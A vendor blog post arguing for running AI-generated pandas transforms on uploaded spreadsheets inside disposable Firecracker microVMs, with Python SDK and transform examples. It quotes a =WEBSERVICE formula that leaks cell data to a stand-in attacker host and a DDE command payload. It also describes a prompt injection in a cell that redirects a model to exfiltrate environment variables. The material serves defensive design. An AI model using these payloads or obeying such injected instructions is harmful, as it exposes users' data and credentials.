all posts

Sandboxing AI-Agent Spreadsheet Automation

Ajay Kumar··9 min read

Here's a workflow that ships in every other AI product now: a user uploads a spreadsheet, describes what they want done to it, and an agent writes some pandas — clean these columns, pivot by region, reconcile these two sheets, export a new workbook. The model generates the transform code, your backend runs it against the uploaded file, and the user gets a shiny new .xlsx back. It feels like magic and it's genuinely useful. It's also two separate piles of attacker-controlled input meeting inside your process at the same time.

Pile one is the spreadsheet. An .xlsx is a zip of XML, and spreadsheets are not inert data — they carry formulas that fetch remote URLs, external data connections, DDE payloads, and cell content specifically shaped to make parsers misbehave. Pile two is the transform code itself: an LLM wrote it, nobody reviewed it, and a prompt injection tucked into cell B2 can turn "sum the revenue column" into "read every environment variable and POST it to an attacker." Running either pile in your app process is a data-exfil and crash risk. Running both together is asking for it.

I'm Ajay, I build PandaStack — a Firecracker microVM platform — so I spend my time thinking about where to put the wall when you run risky code on somebody else's input. This post is about drawing that wall around spreadsheet jobs: give every transform its own throwaway microVM, write the uploaded file in, run the model's pandas there, read the transformed workbook back out, delete the machine. The malicious spreadsheet and the untrusted code detonate in a disposable box with no credentials and nowhere to send anything.

A spreadsheet is not a passive blob of numbers

It's tempting to treat an uploaded workbook as data — a grid of values you load with pandas and forget about. But the file that arrives named "quarterly_report.xlsx" is a container format with an execution story, and the parser that reads it is a large codebase doing untrusted-input handling. The threats stack up:

  • Formulas that phone home. A cell containing =WEBSERVICE("http://attacker/?leak="&A1) or an external data connection turns "open the file" into an outbound request from your infrastructure — straight past your firewall to the cloud metadata endpoint (169.254.169.254) that hands out the host's role, or exfiltrating cell contents in the query string.
  • Formula and CSV injection. A cell that starts with =, +, -, or @ is a formula. Reflect an uploaded value into another tool, or open the output somewhere that evaluates it, and =cmd|'/c calc'!A1-style DDE payloads execute. The classic "CSV injection" vector rides right in through a benign-looking export.
  • Parser RCE. openpyxl, xlrd, LibreOffice import filters, the XML and zip libraries underneath — all have CVE histories. A malformed shared-strings table, a hostile relationship, or an integer overflow in a length field can turn a parse into memory corruption in the process doing the parsing.
  • XXE and zip bombs. An .xlsx is a zip of XML: external XML entities can read local files or hit internal URLs, and a decompression bomb (the "quarterly_report.xlsx" that unzips to 40GB) exhausts memory before you've read a single cell.
  • The genuinely giant sheet. Not even malicious — a user uploads a legitimately huge workbook and df = pd.read_excel(...) tries to materialize the whole thing in RAM. Your worker OOMs, and it takes every other request on that process down with it.

And that's before the model has written a line. The transform code is its own untrusted input: `pandas`, `openpyxl`, and a Python interpreter is a lot of capability to hand to text an LLM generated from a prompt that included attacker-controlled cell values. The safe assumption is that the code can and eventually will try to do something you didn't intend.

exec() and subprocess are not a security boundary. Running the model's code in your own interpreter with exec() shares your process, your imports, your credentials, and your file descriptors. Shelling out to a subprocess is marginally better and still shares your kernel, your network, your filesystem, and your environment variables. Neither one contains a malicious formula phoning home or a transform that reads os.environ. A boundary you can trust against untrusted code is a separate kernel, not a separate function call.

Give every spreadsheet job its own throwaway microVM

The move is to stop running the transform where your app lives. For each job: create a fresh Firecracker microVM with egress off, write the uploaded workbook into the guest, write the model's pandas script in next to it, run it there under a timeout, read the transformed workbook back out, and destroy the VM. The parser and the LLM-written code both execute inside a separate guest kernel confined by KVM hardware virtualization. A formula that phones home finds the network unplugged. A transform that reads the environment finds an environment with nothing in it. A zip bomb or an OOM sheet takes down one disposable machine that you were about to delete anyway.

Three properties carry the weight. First, the guest holds nothing worth stealing — no agent credentials, no database URLs, no other users' files, just the one workbook for this job. Second, the guest's network namespace can be egress-off, which kills =WEBSERVICE, external data connections, SSRF, and remote-content exfiltration at the packet level — the formula can try, but there's nowhere for the request to go. Third, teardown is total: the uploaded file, any payload an exploit dropped, and every intermediate byte vanish with the VM.

The reason this is practical rather than a nice idea is that the VM is cheap. PandaStack creates by restoring a baked snapshot of an already-booted machine, so the restore step is around 49ms and an end-to-end create is p50 179ms and p99 about 203ms. A true cold boot happens only on the first spawn of a template (around 3s). For a spreadsheet transform that takes a second or two, a couple hundred milliseconds of hardware isolation is a trade you'll make every single time.

A worked example: transform an uploaded workbook

Here's the concrete shape with the Python SDK. The user uploaded an .xlsx; the model wrote a pandas transform. We create a fresh sandbox on the code-interpreter template (pandas and openpyxl are baked in, so there's no per-run pip install), write both the file and the script in, run it with a timeout, then read the result workbook back out as bytes. Set PANDASTACK_API_KEY in your environment and the SDK picks it up.

from pandastack import Sandbox

def run_spreadsheet_job(xlsx_bytes: bytes, transform_code: str, job_id: str) -> bytes:
    """Run ONE untrusted spreadsheet transform in its own microVM.

    xlsx_bytes    -- the user-uploaded workbook (a hostile formula's home)
    transform_code -- pandas/openpyxl the MODEL wrote (also untrusted)

    If either one misbehaves, it does so inside a disposable guest with no
    creds and no egress -- then we delete it.
    """
    with Sandbox.create(
        template="code-interpreter",
        ttl_seconds=180,                 # backstop: a wedged job reaps itself
        metadata={"job_id": job_id, "purpose": "xlsx-transform"},
        # Create this sandbox with egress OFF. =WEBSERVICE(), external data
        # connections, and 169.254.169.254 then have nowhere to send anything.
    ) as sbx:
        # Write the untrusted inputs into the guest -- never touched in-process.
        sbx.filesystem.write("/work/input.xlsx", xlsx_bytes)
        sbx.filesystem.write("/work/transform.py", transform_code)

        # Run the model's code INSIDE the guest. timeout_seconds is the circuit
        # breaker for zip bombs and a giant sheet that OOMs -- it kills THIS vm
        # only, not your worker.
        result = sbx.exec("python3 /work/transform.py", timeout_seconds=90)

        if result.exit_code != 0:
            # A blown-up parse or a bad transform is a normal outcome for a
            # hostile file. Fail closed: no output, log the job_id, move on.
            raise RuntimeError(f"job {job_id} failed: {result.stderr}")

        # Pull the transformed workbook back as raw bytes.
        return sbx.filesystem.read("/work/output.xlsx")
    # VM gone here: the input, the script, any dropped payload, and the output
    # on the guest disk all vanish with the machine.

The transform the model writes is just ordinary pandas — it reads the input path, does its thing, and writes a known output path. The contract between your host and the guest is two file paths and an exit code:

# /work/transform.py -- generated by the model, runs INSIDE the guest.
import pandas as pd

# Read the untrusted workbook. Cap the blast radius even here: only the
# sheet you need, and let a genuinely giant file fail loudly rather than
# silently eating all the guest's RAM.
df = pd.read_excel("/work/input.xlsx", sheet_name="Sales", engine="openpyxl")

# The actual transform the user asked for.
df = df[df["amount"] > 0]
pivot = df.pivot_table(index="region", values="amount", aggfunc="sum")

# Write the result to the path the host will read back.
with pd.ExcelWriter("/work/output.xlsx", engine="openpyxl") as xw:
    pivot.to_excel(xw, sheet_name="by_region")

print(f"rows_in={len(df)} regions={len(pivot)}")

The load-bearing choices in the host code: the sandbox is created with egress off, so the formula-phones-home and SSRF vectors die at the network layer; `timeout_seconds` and `ttl_seconds` cap the exhaustion vectors, so a zip bomb or a legitimately enormous sheet gets reaped instead of OOMing your worker; both untrusted inputs are written into the guest and run there, never in your process; and `metadata` tags the run so a repeatedly-failing upload traces back to one job. Check `result.exit_code` before reading the output — a non-zero exit almost always means the workbook was never written.

Fail closed on a blown transform. A hostile spreadsheet is supposed to make things choke, and model-written code is supposed to sometimes be wrong — a non-zero exit is a normal, expected outcome, not a bug to retry-until-it-works or a reason to relax the sandbox. Treat a failed job as "this file produces no output and gets flagged," log the job_id from the metadata, and let the VM tear down. The failure should be contained and boring.

In-process pandas vs. a microVM per job

  • Malicious formulas — In-process: =WEBSERVICE() and external data connections reach your metadata endpoint and internal network from a process holding your credentials. microVM: egress off means the request has nowhere to go and 169.254.169.254 is unreachable.
  • Untrusted transform code — In-process: exec()/subprocess runs the model's pandas next to your secrets, imports, and file descriptors. microVM: it runs in a separate guest kernel with no creds and nothing to escalate to but the hypervisor.
  • OOM on a giant sheet — In-process: read_excel materializes 40GB and takes the worker plus every other request on it down. microVM: ttl + timeout reap one VM and nothing else.
  • Parser RCE / XXE / zip bomb — In-process: an openpyxl or XML CVE lands in your application process. microVM: it lands in a disposable guest you were about to delete.
  • Cleanup after a bad file — In-process: a dropped payload or leaked intermediate persists for the life of the worker. microVM: teardown is total and free; there is nothing to clean.
  • Cost — In-process: fast, and one weaponized workbook away from a very expensive day. microVM: p50 179ms per create, paid once per job, buys a hardware boundary.

Scaling it across a bursty pipeline

Spreadsheet jobs are bursty and embarrassingly parallel — an upload wave wants a hundred transforms at once, and each one should be its own island. Because each PandaStack agent pre-allocates 16,384 /30 subnets, every VM gets its own network namespace, so per-guest egress control is the default rather than a bottleneck. Fan out one VM per job, let idle capacity cost nothing between bursts, and rely on ttl to reap anything that wedges. If you run the same kind of transform repeatedly, snapshot a sandbox that already has your extra libraries and helper code warmed and fork it per job (same-host fork 400–750ms, cross-host 1.2–3.5s) so each run starts from a known-good image without a full create. And if a job needs to write its results somewhere durable rather than hand a workbook back, a managed database is its own microVM too (create is 30–90s, since Postgres has to bootstrap and pass a readiness check).

Putting it together

AI spreadsheet automation is a feature users love and a pair of inputs your code can't trust: the workbook is attacker-shaped and the transform is model-written, and they meet in the same place at the same time. The danger isn't your code — it's that an .xlsx can phone home and fork-bomb a parser, and that exec() and subprocess share everything your process can touch. Don't run transforms in-process. Give every job its own Firecracker microVM: egress off to kill the formula-phones-home and SSRF vectors, ttl and timeout to cap the OOM and zip-bomb vectors, no credentials in the guest, and teardown to erase whatever the file dropped. Keep your parsers patched too — but make "the exploit worked" mean "a disposable VM you were about to delete" instead of "my agent, compromised." The weaponized "quarterly_report.xlsx" still shows up. It just runs its formulas in an empty room with the door locked and the phone line cut.

Frequently asked questions

Why is running an AI-generated pandas transform on an uploaded spreadsheet a security risk?

Two untrusted inputs meet in the same place. The .xlsx is attacker-shaped: it can carry formulas like =WEBSERVICE() that fetch remote URLs, external data connections, DDE/CSV-injection payloads, XXE in its XML, decompression bombs, and cell content crafted to trigger parser CVEs in openpyxl or LibreOffice. The transform code is also untrusted — an LLM wrote it from a prompt that may include attacker-controlled cell values, so a prompt injection can turn "sum this column" into "read os.environ and exfiltrate it." Running either in your app process risks data exfiltration and crashes; running both together compounds it.

Isn't running the code in a subprocess or with exec() enough of a boundary?

No. exec() runs the model's code inside your own interpreter, sharing your process, imports, credentials, and file descriptors. A subprocess is only marginally better — it still shares your kernel, network, filesystem, and environment variables, so a formula that phones home or a transform that reads your secrets is not contained. A real boundary against untrusted code is a separate kernel confined by hardware virtualization, not a separate function call. That's what a Firecracker microVM gives each job: its own guest kernel, no credentials, and egress you control.

How do I stop a giant spreadsheet from OOMing my server?

Move the read into a throwaway microVM and cap it. Write the uploaded workbook into the guest, run pandas there under an exec timeout_seconds and a create ttl_seconds, and a decompression bomb or a legitimately enormous sheet that tries to materialize tens of gigabytes gets reaped along with that one disposable VM instead of taking your worker and every request on it down. Inside the guest you can also limit the blast radius by reading only the sheet you need. The OOM becomes a contained non-zero exit you fail closed on, not a production incident.

How do I read the transformed workbook back out of the sandbox?

Have the model's code write the result to a known path inside the guest — for example pivot.to_excel via an openpyxl ExcelWriter at /work/output.xlsx — check that exec returned exit_code 0, then call sandbox.filesystem.read('/work/output.xlsx'), which returns the raw bytes. Hand those bytes back to the user or store them. The same pattern works for a CSV, a JSON summary, or a chart PNG the transform generates. If exit_code is non-zero, assume the output was never written and fail closed rather than reading a stale or missing file.

Doesn't a VM per spreadsheet job make things too slow?

Not meaningfully. PandaStack creates by restoring a baked snapshot of an already-booted machine, so the restore is around 49ms and an end-to-end create is p50 179ms (p99 about 203ms); a true cold boot happens only on the first spawn of a template (around 3s). For a transform that takes a second or two, a couple hundred milliseconds of hardware isolation is worth it every time. For high-volume same-type jobs, fork a snapshot that already has your libraries warmed (same-host fork 400–750ms) to skip most of even that.

Run code in a microVM in one API call.

49ms p50 cold start. Fork, snapshot, and scale to zero.

Start free
Written by Ajay Kumar, Founder, PandaStack.